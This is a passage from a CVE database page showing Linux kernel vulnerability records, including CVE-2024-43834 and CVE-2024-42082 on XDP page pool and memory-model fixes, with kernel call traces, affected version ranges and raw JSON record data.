: 0000000000000000\n[   31.080307] Call trace:\n[   31.080340]  xilinx_dpdma_chan_queue_transfer+0x274/0x5e0\n[   31.080518]  xilinx_dpdma_issue_pending+0x11c/0x120\n[   31.080595]  zynqmp_disp_layer_update+0x180/0x3ac\n[   31.080712]  zynqmp_dpsub_plane_atomic_update+0x11c/0x21c\n[   31.080825]  drm_atomic_helper_commit_planes+0x20c/0x684\n[   31.080951]  drm_atomic_helper_commit_tail+0x5c/0xb0\n[   31.081139]  commit_tail+0x234/0x294\n[   31.081246]  drm_atomic_helper_commit+0x1f8/0x210\n[   31.081363]  drm_atomic_commit+0x100/0x140\n[   31.081477]  drm_client_modeset_commit_atomic+0x318/0x384\n[   31.081634]  drm_client_modeset_commit_locked+0x8c/0x24c\n[   31.081725]  drm_client_modeset_commit+0x34/0x5c\n[   31.081812]  __drm_fb_helper_restore_fbdev_mode_unlocked+0x104/0x168\n[   31.081899]  drm_fb_helper_set_par+0x50/0x70\n[   31.081971]  fbcon_init+0x538/0xc48\n[   31.082047]  visual_init+0x16c/0x23c\n[   31.082207]  do_bind_con_driver.isra.0+0x2d0/0x634\n[   31.082320]  do_take_over_console+0x24c/0x33c\n[   31.082429]  do_fbcon_takeover+0xbc/0x1b0\n[   31.082503]  fbcon_fb_registered+0x2d0/0x34c\n[   31.082663]  register_framebuffer+0x27c/0x38c\n[   31.082767]  __drm_fb_helper_initial_config_and_unlock+0x5c0/0x91c\n[   31.082939]  drm_fb_helper_initial_config+0x50/0x74\n[   31.083012]  drm_fbdev_dma_client_hotplug+0xb8/0x108\n[   31.083115]  drm_client_register+0xa0/0xf4\n[   31.083195]  drm_fbdev_dma_setup+0xb0/0x1cc\n[   31.083293]  zynqmp_dpsub_drm_init+0x45c/0x4e0\n[   31.083431]  zynqmp_dpsub_probe+0x444/0x5e0\n[   31.083616]  platform_probe+0x8c/0x13c\n[   31.083713]  really_probe+0x258/0x59c\n[   31.083793]  __driver_probe_device+0xc4/0x224\n[   31.083878]  driver_probe_device+0x70/0x1c0\n[   31.083961]  __device_attach_driver+0x108/0x1e0\n[   31.084052]  bus_for_each_drv+0x9c/0x100\n[   31.084125]  __device_attach+0x100/0x298\n[   31.084207]  device_initial_probe+0x14/0x20\n[   31.084292]  bus_probe_device+0xd8/0xdc\n[   31.084368]  deferred_probe_work_func+0x11c/0x180\n[   31.084451]  process_one_work+0x3ac/0x988\n[   31.084643]  worker_thread+0x398/0x694\n[   31.084752]  kthread+0x1bc/0x1c0\n[   31.084848]  ret_from_fork+0x10/0x20\n[   31.084932] irq event stamp: 64549\n[   31.084970] hardirqs last  enabled at (64548): [\u003cffffffc081adf35c\u003e] _raw_spin_unlock_irqrestore+0x80/0x90\n[   31.085157]\n---truncated---"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:15:09.945Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/fcdd5bb4a8c81c64c1334d7e0aba41a8829a24de"
        },
        {
          "url": "https://git.kernel.org/stable/c/0ccac964520a6f19e355652c8ca38af2a7f27076"
        },
        {
          "url": "https://git.kernel.org/stable/c/8bf574183282d219cfa991f7df37aad491d74c11"
        },
        {
          "url": "https://git.kernel.org/stable/c/8e3c94767cad5150198e4337c8b91f3bb068e14b"
        },
        {
          "url": "https://git.kernel.org/stable/c/c660be571609e03e7d5972343536a736fcb31557"
        },
        {
          "url": "https://git.kernel.org/stable/c/244296cc3a155199a8b080d19e645d7d49081a38"
        }
      ],
      "title": "dma: xilinx_dpdma: Fix locking",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-35990",
    "datePublished": "2024-05-20T09:47:55.736Z",
    "dateReserved": "2024-05-17T13:50:33.146Z",
    "dateUpdated": "2026-05-12T11:53:29.670Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-43834 (GCVE-0-2024-43834)

Vulnerability from cvelistv5 – Published: 2024-08-17 09:21 – Updated: 2026-05-12 11:56

Title

xdp: fix invalid wait context of page_pool_destroy()

Summary

In the Linux kernel, the following vulnerability has been resolved: xdp: fix invalid wait context of page_pool_destroy() If the driver uses a page pool, it creates a page pool with page_pool_create(). The reference count of page pool is 1 as default. A page pool will be destroyed only when a reference count reaches 0. page_pool_destroy() is used to destroy page pool, it decreases a reference count. When a page pool is destroyed, ->disconnect() is called, which is mem_allocator_disconnect(). This function internally acquires mutex_lock(). If the driver uses XDP, it registers a memory model with xdp_rxq_info_reg_mem_model(). The xdp_rxq_info_reg_mem_model() internally increases a page pool reference count if a memory model is a page pool. Now the reference count is 2. To destroy a page pool, the driver should call both page_pool_destroy() and xdp_unreg_mem_model(). The xdp_unreg_mem_model() internally calls page_pool_destroy(). Only page_pool_destroy() decreases a reference count. If a driver calls page_pool_destroy() then xdp_unreg_mem_model(), we will face an invalid wait context warning. Because xdp_unreg_mem_model() calls page_pool_destroy() with rcu_read_lock(). The page_pool_destroy() internally acquires mutex_lock(). Splat looks like: ============================= [ BUG: Invalid wait context ] 6.10.0-rc6+ #4 Tainted: G W ----------------------------- ethtool/1806 is trying to lock: ffffffff90387b90 (mem_id_lock){+.+.}-{4:4}, at: mem_allocator_disconnect+0x73/0x150 other info that might help us debug this: context-{5:5} 3 locks held by ethtool/1806: stack backtrace: CPU: 0 PID: 1806 Comm: ethtool Tainted: G W 6.10.0-rc6+ #4 f916f41f172891c800f2fed Hardware name: ASUS System Product Name/PRIME Z690-P D4, BIOS 0603 11/01/2021 Call Trace: <TASK> dump_stack_lvl+0x7e/0xc0 __lock_acquire+0x1681/0x4de0 ? _printk+0x64/0xe0 ? __pfx_mark_lock.part.0+0x10/0x10 ? __pfx___lock_acquire+0x10/0x10 lock_acquire+0x1b3/0x580 ? mem_allocator_disconnect+0x73/0x150 ? __wake_up_klogd.part.0+0x16/0xc0 ? __pfx_lock_acquire+0x10/0x10 ? dump_stack_lvl+0x91/0xc0 __mutex_lock+0x15c/0x1690 ? mem_allocator_disconnect+0x73/0x150 ? __pfx_prb_read_valid+0x10/0x10 ? mem_allocator_disconnect+0x73/0x150 ? __pfx_llist_add_batch+0x10/0x10 ? console_unlock+0x193/0x1b0 ? lockdep_hardirqs_on+0xbe/0x140 ? __pfx___mutex_lock+0x10/0x10 ? tick_nohz_tick_stopped+0x16/0x90 ? __irq_work_queue_local+0x1e5/0x330 ? irq_work_queue+0x39/0x50 ? __wake_up_klogd.part.0+0x79/0xc0 ? mem_allocator_disconnect+0x73/0x150 mem_allocator_disconnect+0x73/0x150 ? __pfx_mem_allocator_disconnect+0x10/0x10 ? mark_held_locks+0xa5/0xf0 ? rcu_is_watching+0x11/0xb0 page_pool_release+0x36e/0x6d0 page_pool_destroy+0xd7/0x440 xdp_unreg_mem_model+0x1a7/0x2a0 ? __pfx_xdp_unreg_mem_model+0x10/0x10 ? kfree+0x125/0x370 ? bnxt_free_ring.isra.0+0x2eb/0x500 ? bnxt_free_mem+0x5ac/0x2500 xdp_rxq_info_unreg+0x4a/0xd0 bnxt_free_mem+0x1356/0x2500 bnxt_close_nic+0xf0/0x3b0 ? __pfx_bnxt_close_nic+0x10/0x10 ? ethnl_parse_bit+0x2c6/0x6d0 ? __pfx___nla_validate_parse+0x10/0x10 ? __pfx_ethnl_parse_bit+0x10/0x10 bnxt_set_features+0x2a8/0x3e0 __netdev_update_features+0x4dc/0x1370 ? ethnl_parse_bitset+0x4ff/0x750 ? __pfx_ethnl_parse_bitset+0x10/0x10 ? __pfx___netdev_update_features+0x10/0x10 ? mark_held_locks+0xa5/0xf0 ? _raw_spin_unlock_irqrestore+0x42/0x70 ? __pm_runtime_resume+0x7d/0x110 ethnl_set_features+0x32d/0xa20 To fix this problem, it uses rhashtable_lookup_fast() instead of rhashtable_lookup() with rcu_read_lock(). Using xa without rcu_read_lock() here is safe. xa is freed by __xdp_mem_allocator_rcu_free() and this is called by call_rcu() of mem_xa_remove(). The mem_xa_remove() is called by page_pool_destroy() if a reference count reaches 0. The xa is already protected by the reference count mechanism well in the control plane. So removing rcu_read_lock() for page_pool_destroy() is safe.

Severity ?

No CVSS data available.

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/be9d08ff102df3ac4…
https://git.kernel.org/stable/c/6c390ef198aa69795…
https://git.kernel.org/stable/c/3fc1be360b99baeea…
https://git.kernel.org/stable/c/bf0ce5aa5f2525ed1…
https://git.kernel.org/stable/c/12144069209eec7f2…
https://git.kernel.org/stable/c/59a931c5b732ca5fc…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: c3f812cea0d7006469d1cf33a4a9f0a12bb4b3a3 , < be9d08ff102df3ac4f66e826ea935cf3af63a4bd (git) Affected: c3f812cea0d7006469d1cf33a4a9f0a12bb4b3a3 , < 6c390ef198aa69795427a5cb5fd7cb4bc7e6cd7a (git) Affected: c3f812cea0d7006469d1cf33a4a9f0a12bb4b3a3 , < 3fc1be360b99baeea15cdee3cf94252cd3a72d26 (git) Affected: c3f812cea0d7006469d1cf33a4a9f0a12bb4b3a3 , < bf0ce5aa5f2525ed1b921ba36de96e458e77f482 (git) Affected: c3f812cea0d7006469d1cf33a4a9f0a12bb4b3a3 , < 12144069209eec7f2090ce9afa15acdcc2c2a537 (git) Affected: c3f812cea0d7006469d1cf33a4a9f0a12bb4b3a3 , < 59a931c5b732ca5fc2ca727f5a72aeabaafa85ec (git) Affected: bf22306d92ca59c59dc4aa3bab14768948193d56 (git) Affected: 05f646cb2174d1a4e032b60b99097f5c4b522616 (git)
Linux	Linux	Affected: 5.5 Unaffected: 0 , < 5.5 (semver) Unaffected: 5.10.224 , ≤ 5.10.* (semver) Unaffected: 5.15.165 , ≤ 5.15.* (semver) Unaffected: 6.1.103 , ≤ 6.1.* (semver) Unaffected: 6.6.44 , ≤ 6.6.* (semver) Unaffected: 6.10.3 , ≤ 6.10.* (semver) Unaffected: 6.11 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-43834",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T16:08:18.214810Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-12T17:33:23.448Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:05:21.434Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/10/msg00003.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:56:57.443Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/core/xdp.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "be9d08ff102df3ac4f66e826ea935cf3af63a4bd",
              "status": "affected",
              "version": "c3f812cea0d7006469d1cf33a4a9f0a12bb4b3a3",
              "versionType": "git"
            },
            {
              "lessThan": "6c390ef198aa69795427a5cb5fd7cb4bc7e6cd7a",
              "status": "affected",
              "version": "c3f812cea0d7006469d1cf33a4a9f0a12bb4b3a3",
              "versionType": "git"
            },
            {
              "lessThan": "3fc1be360b99baeea15cdee3cf94252cd3a72d26",
              "status": "affected",
              "version": "c3f812cea0d7006469d1cf33a4a9f0a12bb4b3a3",
              "versionType": "git"
            },
            {
              "lessThan": "bf0ce5aa5f2525ed1b921ba36de96e458e77f482",
              "status": "affected",
              "version": "c3f812cea0d7006469d1cf33a4a9f0a12bb4b3a3",
              "versionType": "git"
            },
            {
              "lessThan": "12144069209eec7f2090ce9afa15acdcc2c2a537",
              "status": "affected",
              "version": "c3f812cea0d7006469d1cf33a4a9f0a12bb4b3a3",
              "versionType": "git"
            },
            {
              "lessThan": "59a931c5b732ca5fc2ca727f5a72aeabaafa85ec",
              "status": "affected",
              "version": "c3f812cea0d7006469d1cf33a4a9f0a12bb4b3a3",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "bf22306d92ca59c59dc4aa3bab14768948193d56",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "05f646cb2174d1a4e032b60b99097f5c4b522616",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/core/xdp.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.5"
            },
            {
              "lessThan": "5.5",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.224",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.165",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.103",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.44",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.11",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.224",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.165",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.103",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.44",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.3",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "5.3.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "5.4.5",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nxdp: fix invalid wait context of page_pool_destroy()\n\nIf the driver uses a page pool, it creates a page pool with\npage_pool_create().\nThe reference count of page pool is 1 as default.\nA page pool will be destroyed only when a reference count reaches 0.\npage_pool_destroy() is used to destroy page pool, it decreases a\nreference count.\nWhen a page pool is destroyed, -\u003edisconnect() is called, which is\nmem_allocator_disconnect().\nThis function internally acquires mutex_lock().\n\nIf the driver uses XDP, it registers a memory model with\nxdp_rxq_info_reg_mem_model().\nThe xdp_rxq_info_reg_mem_model() internally increases a page pool\nreference count if a memory model is a page pool.\nNow the reference count is 2.\n\nTo destroy a page pool, the driver should call both page_pool_destroy()\nand xdp_unreg_mem_model().\nThe xdp_unreg_mem_model() internally calls page_pool_destroy().\nOnly page_pool_destroy() decreases a reference count.\n\nIf a driver calls page_pool_destroy() then xdp_unreg_mem_model(), we\nwill face an invalid wait context warning.\nBecause xdp_unreg_mem_model() calls page_pool_destroy() with\nrcu_read_lock().\nThe page_pool_destroy() internally acquires mutex_lock().\n\nSplat looks like:\n=============================\n[ BUG: Invalid wait context ]\n6.10.0-rc6+ #4 Tainted: G W\n-----------------------------\nethtool/1806 is trying to lock:\nffffffff90387b90 (mem_id_lock){+.+.}-{4:4}, at: mem_allocator_disconnect+0x73/0x150\nother info that might help us debug this:\ncontext-{5:5}\n3 locks held by ethtool/1806:\nstack backtrace:\nCPU: 0 PID: 1806 Comm: ethtool Tainted: G W 6.10.0-rc6+ #4 f916f41f172891c800f2fed\nHardware name: ASUS System Product Name/PRIME Z690-P D4, BIOS 0603 11/01/2021\nCall Trace:\n\u003cTASK\u003e\ndump_stack_lvl+0x7e/0xc0\n__lock_acquire+0x1681/0x4de0\n? _printk+0x64/0xe0\n? __pfx_mark_lock.part.0+0x10/0x10\n? __pfx___lock_acquire+0x10/0x10\nlock_acquire+0x1b3/0x580\n? mem_allocator_disconnect+0x73/0x150\n? __wake_up_klogd.part.0+0x16/0xc0\n? __pfx_lock_acquire+0x10/0x10\n? dump_stack_lvl+0x91/0xc0\n__mutex_lock+0x15c/0x1690\n? mem_allocator_disconnect+0x73/0x150\n? __pfx_prb_read_valid+0x10/0x10\n? mem_allocator_disconnect+0x73/0x150\n? __pfx_llist_add_batch+0x10/0x10\n? console_unlock+0x193/0x1b0\n? lockdep_hardirqs_on+0xbe/0x140\n? __pfx___mutex_lock+0x10/0x10\n? tick_nohz_tick_stopped+0x16/0x90\n? __irq_work_queue_local+0x1e5/0x330\n? irq_work_queue+0x39/0x50\n? __wake_up_klogd.part.0+0x79/0xc0\n? mem_allocator_disconnect+0x73/0x150\nmem_allocator_disconnect+0x73/0x150\n? __pfx_mem_allocator_disconnect+0x10/0x10\n? mark_held_locks+0xa5/0xf0\n? rcu_is_watching+0x11/0xb0\npage_pool_release+0x36e/0x6d0\npage_pool_destroy+0xd7/0x440\nxdp_unreg_mem_model+0x1a7/0x2a0\n? __pfx_xdp_unreg_mem_model+0x10/0x10\n? kfree+0x125/0x370\n? bnxt_free_ring.isra.0+0x2eb/0x500\n? bnxt_free_mem+0x5ac/0x2500\nxdp_rxq_info_unreg+0x4a/0xd0\nbnxt_free_mem+0x1356/0x2500\nbnxt_close_nic+0xf0/0x3b0\n? __pfx_bnxt_close_nic+0x10/0x10\n? ethnl_parse_bit+0x2c6/0x6d0\n? __pfx___nla_validate_parse+0x10/0x10\n? __pfx_ethnl_parse_bit+0x10/0x10\nbnxt_set_features+0x2a8/0x3e0\n__netdev_update_features+0x4dc/0x1370\n? ethnl_parse_bitset+0x4ff/0x750\n? __pfx_ethnl_parse_bitset+0x10/0x10\n? __pfx___netdev_update_features+0x10/0x10\n? mark_held_locks+0xa5/0xf0\n? _raw_spin_unlock_irqrestore+0x42/0x70\n? __pm_runtime_resume+0x7d/0x110\nethnl_set_features+0x32d/0xa20\n\nTo fix this problem, it uses rhashtable_lookup_fast() instead of\nrhashtable_lookup() with rcu_read_lock().\nUsing xa without rcu_read_lock() here is safe.\nxa is freed by __xdp_mem_allocator_rcu_free() and this is called by\ncall_rcu() of mem_xa_remove().\nThe mem_xa_remove() is called by page_pool_destroy() if a reference\ncount reaches 0.\nThe xa is already protected by the reference count mechanism well in the\ncontrol plane.\nSo removing rcu_read_lock() for page_pool_destroy() is safe."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:30:42.941Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/be9d08ff102df3ac4f66e826ea935cf3af63a4bd"
        },
        {
          "url": "https://git.kernel.org/stable/c/6c390ef198aa69795427a5cb5fd7cb4bc7e6cd7a"
        },
        {
          "url": "https://git.kernel.org/stable/c/3fc1be360b99baeea15cdee3cf94252cd3a72d26"
        },
        {
          "url": "https://git.kernel.org/stable/c/bf0ce5aa5f2525ed1b921ba36de96e458e77f482"
        },
        {
          "url": "https://git.kernel.org/stable/c/12144069209eec7f2090ce9afa15acdcc2c2a537"
        },
        {
          "url": "https://git.kernel.org/stable/c/59a931c5b732ca5fc2ca727f5a72aeabaafa85ec"
        }
      ],
      "title": "xdp: fix invalid wait context of page_pool_destroy()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-43834",
    "datePublished": "2024-08-17T09:21:51.583Z",
    "dateReserved": "2024-08-17T09:11:59.274Z",
    "dateUpdated": "2026-05-12T11:56:57.443Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-0584 (GCVE-0-2024-0584)

Vulnerability from cvelistv5 – Published: 2024-01-16 14:02 – Updated: 2024-02-14 05:55

Do not use this CVE as it is duplicate of CVE-2023-6932

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "cna": {
      "providerMetadata": {
        "dateUpdated": "2024-02-14T05:55:44.036Z",
        "orgId": "53f830b8-0a3f-465b-8143-3b8a9948e749",
        "shortName": "redhat"
      },
      "rejectedReasons": [
        {
          "lang": "en",
          "value": "Do not use this CVE as it is duplicate of CVE-2023-6932"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "53f830b8-0a3f-465b-8143-3b8a9948e749",
    "assignerShortName": "redhat",
    "cveId": "CVE-2024-0584",
    "datePublished": "2024-01-16T14:02:02.411Z",
    "dateRejected": "2024-02-14T05:55:44.036Z",
    "dateReserved": "2024-01-16T11:48:58.344Z",
    "dateUpdated": "2024-02-14T05:55:44.036Z",
    "state": "REJECTED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.0"
}

CVE-2024-42082 (GCVE-0-2024-42082)

Vulnerability from cvelistv5 – Published: 2024-07-29 15:52 – Updated: 2026-05-12 11:56

Title

xdp: Remove WARN() from __xdp_reg_mem_model()

Summary

In the Linux kernel, the following vulnerability has been resolved: xdp: Remove WARN() from __xdp_reg_mem_model() syzkaller reports a warning in __xdp_reg_mem_model(). The warning occurs only if __mem_id_init_hash_table() returns an error. It returns the error in two cases: 1. memory allocation fails; 2. rhashtable_init() fails when some fields of rhashtable_params struct are not initialized properly. The second case cannot happen since there is a static const rhashtable_params struct with valid fields. So, warning is only triggered when there is a problem with memory allocation. Thus, there is no sense in using WARN() to handle this error and it can be safely removed. WARNING: CPU: 0 PID: 5065 at net/core/xdp.c:299 __xdp_reg_mem_model+0x2d9/0x650 net/core/xdp.c:299 CPU: 0 PID: 5065 Comm: syz-executor883 Not tainted 6.8.0-syzkaller-05271-gf99c5f563c17 #0 Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 03/27/2024 RIP: 0010:__xdp_reg_mem_model+0x2d9/0x650 net/core/xdp.c:299 Call Trace: xdp_reg_mem_model+0x22/0x40 net/core/xdp.c:344 xdp_test_run_setup net/bpf/test_run.c:188 [inline] bpf_test_run_xdp_live+0x365/0x1e90 net/bpf/test_run.c:377 bpf_prog_test_run_xdp+0x813/0x11b0 net/bpf/test_run.c:1267 bpf_prog_test_run+0x33a/0x3b0 kernel/bpf/syscall.c:4240 __sys_bpf+0x48d/0x810 kernel/bpf/syscall.c:5649 __do_sys_bpf kernel/bpf/syscall.c:5738 [inline] __se_sys_bpf kernel/bpf/syscall.c:5736 [inline] __x64_sys_bpf+0x7c/0x90 kernel/bpf/syscall.c:5736 do_syscall_64+0xfb/0x240 entry_SYSCALL_64_after_hwframe+0x6d/0x75 Found by Linux Verification Center (linuxtesting.org) with syzkaller.

Severity ?

No CVSS data available.

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/1095b8efbb13a6a5f…
https://git.kernel.org/stable/c/1d3e3b3aa2cbe9bc7…
https://git.kernel.org/stable/c/4e0c539ee265d5c6e…
https://git.kernel.org/stable/c/14e51ea78b4ccacb7…
https://git.kernel.org/stable/c/f92298b0467fd77ed…
https://git.kernel.org/stable/c/7e9f79428372c6eab…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 8d5d88527587516bd58ff0f3810f07c38e65e2be , < 1095b8efbb13a6a5fa583ed373ee1ccab29da2d0 (git) Affected: 8d5d88527587516bd58ff0f3810f07c38e65e2be , < 1d3e3b3aa2cbe9bc7db9a7f8673a9fa6d2990d54 (git) Affected: 8d5d88527587516bd58ff0f3810f07c38e65e2be , < 4e0c539ee265d5c6e7fa7d229cd4aa7bc01816e2 (git) Affected: 8d5d88527587516bd58ff0f3810f07c38e65e2be , < 14e51ea78b4ccacb7acb1346b9241bb790a2054c (git) Affected: 8d5d88527587516bd58ff0f3810f07c38e65e2be , < f92298b0467fd77edc4c1a2c3e48833e69840ec4 (git) Affected: 8d5d88527587516bd58ff0f3810f07c38e65e2be , < 7e9f79428372c6eab92271390851be34ab26bfb4 (git)
Linux	Linux	Affected: 4.18 Unaffected: 0 , < 4.18 (semver) Unaffected: 5.10.221 , ≤ 5.10.* (semver) Unaffected: 5.15.162 , ≤ 5.15.* (semver) Unaffected: 6.1.97 , ≤ 6.1.* (semver) Unaffected: 6.6.37 , ≤ 6.6.* (semver) Unaffected: 6.9.8 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:01:14.321Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/1095b8efbb13a6a5fa583ed373ee1ccab29da2d0"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/1d3e3b3aa2cbe9bc7db9a7f8673a9fa6d2990d54"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/4e0c539ee265d5c6e7fa7d229cd4aa7bc01816e2"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/14e51ea78b4ccacb7acb1346b9241bb790a2054c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/f92298b0467fd77edc4c1a2c3e48833e69840ec4"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/7e9f79428372c6eab92271390851be34ab26bfb4"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-42082",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T16:19:06.855038Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:33:07.377Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
